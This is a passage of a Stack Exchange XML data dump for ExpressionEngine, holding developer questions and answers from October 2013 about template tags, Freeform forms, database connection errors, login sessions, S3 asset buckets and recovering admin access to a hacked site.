&lt;code&gt;date_range_&lt;/code&gt; parameters will override the &lt;code&gt;event_id&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said the above didn't offer a way to display &quot;No Events&quot; if there were expired events in the Playa list of entry_ids. You should be able to apply &lt;code&gt;{if calendar_no_results}{/if}&lt;/code&gt; using the &lt;code&gt;exp:calendar:cal&lt;/code&gt; tag with date ranges. See below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{stash:event_ids}&quot; == &quot;&quot;}No Events{/if} {-- you may be able to remove the quote and brackets from the stash:event_ids tag --}&#xA;{if &quot;{stash:event_ids}&quot; != &quot;&quot;}&#xA;  {exp:calendar:cal event_id=&quot;{stash:event_ids}&quot; date_range_start=&quot;today&quot; date_range_end=&quot;3 months&quot;}&#xA;    {if calendar_no_results}No Events{/if} &#xA;    {if event_count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;      &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {if event_total == &quot;{event_count}&quot;}&amp;lt;/ul&amp;gt;{/if}&#xA;  {/exp:calendar:cal}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-06T09:57:26.023" LastActivityDate="2013-11-06T09:57:26.023" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14829" PostTypeId="2" ParentId="14826" CreationDate="2013-10-22T05:11:09.147" Score="0" Body="&lt;p&gt;Try &lt;a href=&quot;http://devot-ee.com/add-ons/remember-me&quot; rel=&quot;nofollow&quot;&gt;remember-me&lt;/a&gt;  - its free and function inside is enough for build favorite functions.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-10-22T05:11:09.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14830" PostTypeId="2" ParentId="9301" CreationDate="2013-10-22T06:11:59.190" Score="0" Body="&lt;p&gt;After you, other people were asking the same thing. An answer has been found and reported here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10832/simple-search-returns-system-message-template-not&quot;&gt;Simple Search returns System Message template for No Results even when &amp;#39;no_result_page&amp;#39; set&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-22T06:11:59.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14831" PostTypeId="1" AcceptedAnswerId="14832" CreationDate="2013-10-22T07:39:15.583" Score="4" ViewCount="8185" Body="&lt;p&gt;My site won't show up (white screen of death). When I try to access the control panel, I am setting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Unable to connect to your database server using the provided settings.&#xA;Filename: core/EE_Config.php&#xA;Line Number: 207&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2016-12-09T20:30:21.963" Title="Database Error - Unable to connect to your database server using the provided settings" Tags="|error|white-screen-of-death|database-error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14832" PostTypeId="2" ParentId="14831" CreationDate="2013-10-22T07:39:15.583" Score="12" Body="&lt;p&gt;Broadly speaking, as the error says, you are not connecting to your database. So, check to make sure everything is &quot;plugged in&quot; properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things to check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/expressionengine/config/database.php&lt;/strong&gt;&lt;br&gt;&#xA; - file exists&lt;br&gt;&#xA; - triple check you are using the correct database info for your current server/environment (host, username, password, and database name)&lt;br&gt;&#xA; - file has proper permissions (chmod 666)&lt;br&gt;&#xA; - /config/config.php is setup properly and with proper permissions (chmod 666)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Run a connection test&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In /system/expressionengine/utilities there's a file called dbtest.php. Fill out the top 4 variables and place it at your web root directory so you can view it online (eg, &lt;a href=&quot;http://mysite.com/dbtest.php&quot;&gt;http://mysite.com/dbtest.php&lt;/a&gt;). The result should prove helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see &quot;Unable to select your database&quot; make sure the database actually exists on the server and that the user has permission to access that specific database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still &quot;Unable to connect to your database server,&quot; you'll have to dig deeper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Still unable to connect to server&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are running locally, it may have to do with where your MySQL is installed. &lt;a href=&quot;http://ellislab.com/forums/viewthread/207936/#1013068&quot;&gt;Check this out&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are on a server (especially a shared server), check with your hosting provider. They may be experiencing a temporary outage or be able to help you find a solution.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-19T10:45:41.813" LastActivityDate="2013-11-19T10:45:41.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14833" PostTypeId="2" ParentId="14823" CreationDate="2013-10-22T09:07:07.943" Score="2" Body="&lt;p&gt;I've tested in in  v2.7.1 - Build Date: 20130924&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a new entry gave it a title and waited. It then said 'autosaved' by the submit button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then hit submit and clicked &quot;Edit This Entry&quot; added some text then waited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry then said 'autosaved' by the submit button (I didn't time it but would suggest it was also about 10 seconds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then added some more text in a text field waited and it autosaved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally to check I clicked the 'edit' tab and returns to the entries list, found the new entry and saw it had autosaved. I clicked the autosave button and the text I added could be seen.&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2013-10-22T09:07:07.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14834" PostTypeId="1" CreationDate="2013-10-22T09:12:10.317" Score="1" ViewCount="96" Body="&lt;p&gt;I'm having some trouble using FreeMember and Transcribe. It seems like the member register posts the action to the site url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the site url includes a language prefix the page seems to just refresh, doesn't register a new member and doesn't return to the allocated return page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg.. www.site.com/form/fr/ will fail. With transcribe (language prefix) disabled it does work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="2031" LastActivityDate="2013-10-22T23:47:57.987" Title="EE Freemember register with multi lang?" Tags="|freemember|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14835" PostTypeId="1" CreationDate="2013-10-22T10:09:17.420" Score="1" ViewCount="594" Body="&lt;p&gt;I'm trying to show a contact form based on the category that an entry is a member of, i'm using the freeform plugin to generate forms and then have a category group (an id of 7) with three categories in (ids of 41,42,43).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           {exp:channel:entries}&#xA;             {categories show_group=&quot;7&quot;}&#xA;                {if &quot;{category_id}&quot; == &quot;42&quot;}&#xA;                  {exp:freeform:form form_id=&quot;6&quot; return=&quot;thanks/index&quot;}&#xA;                {/if}&#xA;                {if &quot;{category_id}&quot; == &quot;41&quot;}&#xA;                  {exp:freeform:form form_id=&quot;7&quot; return=&quot;thanks/index&quot;}&#xA;                {/if}&#xA;                {if &quot;{category_id}&quot; == &quot;42&quot;}&#xA;                  {exp:freeform:form form_id=&quot;8&quot; return=&quot;thanks/index&quot;}&#xA;                {/if}&#xA;              {/categories}&#xA;{freeform:all_form_fields}&#xA;                    &amp;lt;div class=&quot;field-group type-{freeform:field_type} field-{freeform:field_name}&quot;&amp;gt;&#xA;                      &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;                      {freeform:field_output}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                  {/freeform:all_form_fields}&#xA;                  &amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;              {/exp:freeform:form}&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This however is simply trying to output all three forms and only showing the first one on every page no matter which categories they are assigned to. Any ideas how I should go about this? I'm guessing it's parsing the freeform tag before the conditional at the moment but not sure how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastEditorUserId="1014" LastEditDate="2013-10-22T12:30:17.240" LastActivityDate="2013-10-22T13:01:25.847" Title="If/else conditional based on categories to choose a freeform form" Tags="|categories|conditionals|solspace-freeform|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14836" PostTypeId="2" ParentId="14800" CreationDate="2013-10-22T12:37:32.697" Score="0" Body="&lt;p&gt;This could be related to another bug regarding the file field.&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14263/why-is-an-un-required-field-required&quot;&gt;Why is an un-required field required?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That bug prevents an entry being posted if:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The upload directory is set to a specific directory&lt;/li&gt;&#xA;&lt;li&gt;A specific file type (e.g. image) is specified.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Changing either of these conditions allow the entry to be submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would suggest setting the upload directory to &quot;Any&quot; and the file type to &quot;Any&quot; and see if that makes a difference.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-10-22T12:37:32.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14837" PostTypeId="2" ParentId="14835" CreationDate="2013-10-22T13:01:25.847" Score="2" Body="&lt;p&gt;You need to make sure all data of &lt;code&gt;exp:channel:entries&lt;/code&gt; is parsed before &lt;code&gt;exp:freeform&lt;/code&gt;. This is almost exactly the point of the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&quot; rel=&quot;nofollow&quot;&gt;sample code in docs&lt;/a&gt; about &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this, please:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries parse=&quot;inward&quot;}&#xA;    {categories show_group=&quot;7&quot;}&#xA;        {if &quot;{category_id}&quot; == &quot;42&quot;}&#xA;            {exp:freeform:form form_id=&quot;6&quot; return=&quot;thanks/index&quot;}&#xA;        {if:elseif &quot;{category_id}&quot; == &quot;41&quot;}&#xA;            {exp:freeform:form form_id=&quot;7&quot; return=&quot;thanks/index&quot;}&#xA;        {if:elseif &quot;{category_id}&quot; == &quot;42&quot;}&#xA;            {exp:freeform:form form_id=&quot;8&quot; return=&quot;thanks/index&quot;}&#xA;        {/if}&#xA;    {/categories}&#xA;                {freeform:all_form_fields}&#xA;                    &amp;lt;div class=&quot;field-group type-{freeform:field_type} field-{freeform:field_name}&quot;&amp;gt;&#xA;                    &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;                    {freeform:field_output}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/freeform:all_form_fields}&#xA;                &amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;            {/exp:freeform:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code just works because all conditionals are related to &lt;code&gt;exp:channel:entries&lt;/code&gt;, so they can be parsed in the right order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the conditionals to &lt;code&gt;elseif&lt;/code&gt; to prevent the case of some user to chose more than one category.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-22T13:01:25.847" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14838" PostTypeId="1" AcceptedAnswerId="14853" CreationDate="2013-10-22T13:23:18.460" Score="3" ViewCount="497" Body="&lt;p&gt;I have a relationship field which allows the editor to choose entries from different channels (channels &lt;code&gt;about&lt;/code&gt; &amp;amp; &lt;code&gt;news&lt;/code&gt;), and a few channels I have set up for Pages (with a Page URI). How can I make the template generate an appropriate URL for each entry? That is: how can I get it to link to &lt;code&gt;/about/{url_title}&lt;/code&gt; for an about sub-page, &lt;code&gt;/news/{url_title}&lt;/code&gt; for a news entry, and &lt;code&gt;{pages_uri}&lt;/code&gt; for a page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can probably create a switchee scheme to create the link programmatically on the template depending on the case, but I wonder if there’s an EE tag for this.&lt;/p&gt;&#xA;" OwnerUserId="2205" LastActivityDate="2013-10-22T16:36:32.393" Title="Relationship tag: link to different channels" Tags="|templates|relationships|tags|links|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14839" PostTypeId="1" AcceptedAnswerId="14883" CreationDate="2013-10-22T13:23:32.733" Score="1" ViewCount="229" Body="&lt;p&gt;We're build a shop and want to output similar products using categories, everything is now working apart from the related products. It's currently just outputting the latest 5 products that have been added, they don't belong to the same category at all so i'm pretty confused as to why this would happen? We have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries related_categories_mode=&quot;yes&quot; custom_fields=&quot;yes&quot; limit=&quot;5&quot;}&#xA;{if count == 1}&#xA;&amp;lt;div class=&quot;related-products&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Related products&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;ul class=&quot;product-list&quot;&amp;gt;&#xA;{/if}&#xA;  &amp;lt;li&amp;gt;&#xA;    &amp;lt;article&amp;gt;&#xA;      &amp;lt;a href=&quot;/products/{url_title}&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;product-image&quot;&amp;gt;&#xA;          {product_image limit=&quot;1&quot;}&#xA;            &amp;lt;img src=&quot;{image:medium}&quot; alt=&quot;{title}&quot; height=&quot;&quot; width=&quot;&quot; /&amp;gt;&#xA;          {/product_image}&#xA;        &amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;product-text&quot;&amp;gt;&#xA;          &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;            {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;            {if on_sale}&#xA;              &amp;lt;div class=&quot;sale-label&quot;&amp;gt;Sale&amp;lt;/div&amp;gt;&#xA;              {price}&#xA;              {if:else}&#xA;              {regular_price}&#xA;              {/if}&#xA;            {/exp:store:product}&#xA;        &amp;lt;/span&amp;gt;&#xA;      &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  {if count == total_results}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried using dynamic=&quot;no&quot; and url_title=&quot;{segment_2}&quot; together but this brings up the no matches, any ideas would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-10-23T09:09:15.837" Title="Related_categories_mode=&quot;yes&quot; outputs all channel entires and isn't related to current entry" Tags="|categories|related-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14840" PostTypeId="2" ParentId="14752" CreationDate="2013-10-22T13:24:29.627" Score="4" Body="&lt;p&gt;I’ve found the solution: &lt;code&gt;{switch='odd|even'}&lt;/code&gt; needs to be namespaced so that it switches within the context of the relationship field, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{staff_member_groups:staff_group_members:switch='odd|even'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, &lt;code&gt;{switch='odd|even'}&lt;/code&gt; is going by the larger context of the entries tag that surrounds this template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarity, my final block of code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {staff_member_groups}&#xA;    &amp;lt;h2&amp;gt;{staff_member_groups:staff_group_heading}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul class=&quot;staff_member_groups&quot;&amp;gt;&#xA;      {staff_member_groups:staff_group_members}&#xA;        &amp;lt;li class=&quot;{staff_member_groups:staff_group_members:switch='odd|even'}&quot;&amp;gt;&#xA;          &amp;lt;img src=&quot;{staff_member_groups:staff_group_members:staff_portrait}&quot;&amp;gt;&#xA;          &amp;lt;h3&amp;gt;{staff_member_groups:staff_group_members:title}&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p class=&quot;meta&quot;&amp;gt;&#xA;            {staff_member_groups:staff_group_members:staff_position}&#xA;          &amp;lt;/p&amp;gt;&#xA;          &amp;lt;p&amp;gt;&#xA;            {staff_member_groups:staff_group_members:staff_titles}&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;      {/staff_member_groups:staff_group_members}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/staff_member_groups}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2205" LastActivityDate="2013-10-22T13:24:29.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14841" PostTypeId="1" AcceptedAnswerId="14846" CreationDate="2013-10-22T13:49:08.917" Score="2" ViewCount="83" Body="&lt;p&gt;I have a site with a login form on the front end for the user to log into the site.  The login works ok, but when they click on any link to another page, their session ends and they get logged out.  This is an issue as I have {if logged_in} tags in various parts of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.2.2 and I have set the Session type Session ID only.  Setting any other session type dosn't allow them to log in at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2013-10-22T14:10:05.307" Title="User session ending when clicking on a link" Tags="|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14842" PostTypeId="1" CreationDate="2013-10-22T13:57:41.823" Score="1" ViewCount="76" Body="&lt;p&gt;EE 2.6.1&#xA;Assets 2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was doing an index update in Assets when ran into that, someone can help me understand?&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2013-10-23T07:07:02.077" Title="There are some entries in the db that are out of date, please select" Tags="|assets|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14843" PostTypeId="1" CreationDate="2013-10-22T14:07:37.400" Score="2" ViewCount="99" Body="&lt;p&gt;I'm trying to use a template to parse through nested data, but some of the child data has the same variable names as the parent. In the example below I'd like to print a list of shows and then a list of the episodes for each show, but the id, title, &amp;amp; description are parsed and given the parent data. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    array(&#xA;        'id' =&amp;gt; 1,&#xA;        'title' =&amp;gt; 'LOST',&#xA;        'description' =&amp;gt; 'Best. Show. Ever',&#xA;        'episodes' =&amp;gt; array (&#xA;            array ( &#xA;                'id' =&amp;gt; 1001,&#xA;                'title' =&amp;gt; 'Pilot',&#xA;                'description' =&amp;gt; 'The one where the plane crashes.'&#xA;            ),&#xA;            array ( &#xA;                'id' =&amp;gt; 1002,&#xA;                'title' =&amp;gt; 'Dr. Jack',&#xA;                'description' =&amp;gt; 'Jack saves everyone.'&#xA;            )&#xA;        ),&#xA;    ),&#xA;    array(&#xA;        'id' =&amp;gt; 2,&#xA;        'title' =&amp;gt; 'Seinfeld',&#xA;        'description' =&amp;gt; 'Funniest. Show. Ever',&#xA;        'episodes' =&amp;gt; array (&#xA;            array ( &#xA;                'id' =&amp;gt; 2001,&#xA;                'title' =&amp;gt; 'Pilot',&#xA;                'description' =&amp;gt; 'The one where it wasn\'t funny yet.'&#xA;            ),&#xA;            array ( &#xA;                'id' =&amp;gt; 2002,&#xA;                'title' =&amp;gt; 'Kramer',&#xA;                'description' =&amp;gt; 'Kramer isn\'t that funny yet either.'&#xA;            )&#xA;        ),&#xA;    ),&#xA;);&#xA;&#xA;$tags = '&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;&amp;lt;h2&amp;gt;Episodes:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{episodes}&#xA;&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;{id}: {title}&amp;lt;/em&amp;gt; {description}&amp;lt;/li&amp;gt;&#xA;{/episodes}&#xA;&amp;lt;/ul&amp;gt;';&#xA;&#xA;$output = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables( $tags, $data );&#xA;&#xA;echo $output;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This generates the output below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;LOST&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;Best. Show. Ever&amp;lt;/p&amp;gt;&#xA;&amp;lt;h2&amp;gt;Episodes:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;1: LOST&amp;lt;/em&amp;gt; Best. Show. Ever&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;1: LOST&amp;lt;/em&amp;gt; Best. Show. Ever&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;h1&amp;gt;Seinfeld&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;Funniest. Show. Ever&amp;lt;/p&amp;gt;&#xA;&amp;lt;h2&amp;gt;Episodes:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;2: Seinfeld&amp;lt;/em&amp;gt; Funniest. Show. Ever&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;2: Seinfeld&amp;lt;/em&amp;gt; Funniest. Show. Ever&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I access the episode data? If the field names are different it works just fine, but this data is coming from a web service that is not easily changed.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-10-22T14:14:12.990" Title="Accessing nested data in templates" Tags="|templates|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14844" PostTypeId="1" AcceptedAnswerId="14845" CreationDate="2013-10-22T14:07:42.207" Score="1" ViewCount="81" Body="&lt;p&gt;When loading the buckets for a new S3 source, Assets is failing silently (no buckets listed in select box, no error message), despite correct S3 credentials.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-10-22T14:07:42.207" Title="Assets Unable to Load S3 Buckets; No Error Message" Tags="|assets|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14845" PostTypeId="2" ParentId="14844" CreationDate="2013-10-22T14:07:42.207" Score="1" Body="&lt;p&gt;Enabling cURL in PHP resolved this issue.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-10-22T14:07:42.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14846" PostTypeId="2" ParentId="14841" CreationDate="2013-10-22T14:10:05.307" Score="3" Body="&lt;p&gt;This is an old bug that caused a lot people problems. You can read the lengthy bug report here: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/17423&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/17423&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line: you'll need to update to the latest version of EE&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-22T14:10:05.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14847" PostTypeId="2" ParentId="14843" CreationDate="2013-10-22T14:14:12.990" Score="1" Body="&lt;p&gt;Why are you using PHP to output your data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can attempt this with &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;, and a couple channels.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-10-22T14:14:12.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14848" PostTypeId="1" CreationDate="2013-10-22T14:33:00.667" Score="0" ViewCount="93" Body="&lt;p&gt;I have a slight issue.. Actually a major one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site I am working on is built in expression engine and it was hacked and whoever has done it has changed the password and the client has no idea what the original email is when the site was first built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way at all I can get into the backend of the website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping someone can help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2240" LastEditorUserId="69" LastEditDate="2013-10-23T10:32:31.687" LastActivityDate="2013-10-23T10:40:25.383" Title="Site Hacked, No Original Email" Tags="|security|admin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14849" PostTypeId="2" ParentId="14848" CreationDate="2013-10-22T14:46:57.973" Score="11" Body="&lt;p&gt;Do you have access to the &lt;code&gt;MySQL&lt;/code&gt; database? If so, you can change the admin's email and initiate a password reset at the login screen. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-10-22T14:46:57.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14850" PostTypeId="1" AcceptedAnswerId="14866" CreationDate="2013-10-22T15:31:28.740" Score="1" ViewCount="138" Body="&lt;p&gt;When i click on the link to reset the password, I get a blank page. How can I debug this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reset link is something like that:  &lt;a href=&quot;http://mysite.com/?ACT=14&amp;amp;id=Rr2Z8OrG&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/?ACT=14&amp;amp;id=Rr2Z8OrG&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="740" LastEditorUserId="28" LastEditDate="2013-10-22T19:27:41.853" LastActivityDate="2013-10-22T19:27:41.853" Title="Blank retrieve password page after 2.5.5 &gt; 2.7.2 update" Tags="|password|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14851" PostTypeId="1" AcceptedAnswerId="15219" CreationDate="2013-10-22T15:40:47.723" Score="1" ViewCount="1033" Body="&lt;p&gt;I'm getting an &quot;Access denied by target host&quot; error when attempting to connect to S3 with Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to troubleshoot further, I've added a var_dump around line 238 in third_party/assets/sources/s3/lib/S3.php: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if ($rest-&amp;gt;error !== false)&#xA;        {&#xA;            self::__triggerError(sprintf(&quot;S3::listBuckets(): [%s] %s&quot;, $rest-&amp;gt;error['code'],&#xA;                $rest-&amp;gt;error['message']), __FILE__, __LINE__);&#xA;&#xA;                var_dump($rest);&#xA;&#xA;            return false;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When attempting to refresh the bucket list in Assets via the EE control panel, I can now see the details of the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#162 (3) { [&quot;error&quot;]=&amp;gt; array(2) { [&quot;code&quot;]=&amp;gt; string(12) &quot;AccessDenied&quot; [&quot;message&quot;]=&amp;gt; string(13) &quot;Access Denied&quot; } [&quot;code&quot;]=&amp;gt; int(403) [&quot;headers&quot;]=&amp;gt; array(1) { [&quot;type&quot;]=&amp;gt; string(15) &quot;application/xml&quot; } } Access denied by target host. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Summary: Amazon's response is &quot;Access Denied&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought my credentials may have been to blame, but, editing either key changed the error message, so, that wasn't the problem in this instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the OS X file transfer app Transmit, I was able to connect to S3 with the same credentials, list files, upload a file, and then view it via the publicly accessible URL, so that ruled out configuration/policy issues on Amazon's 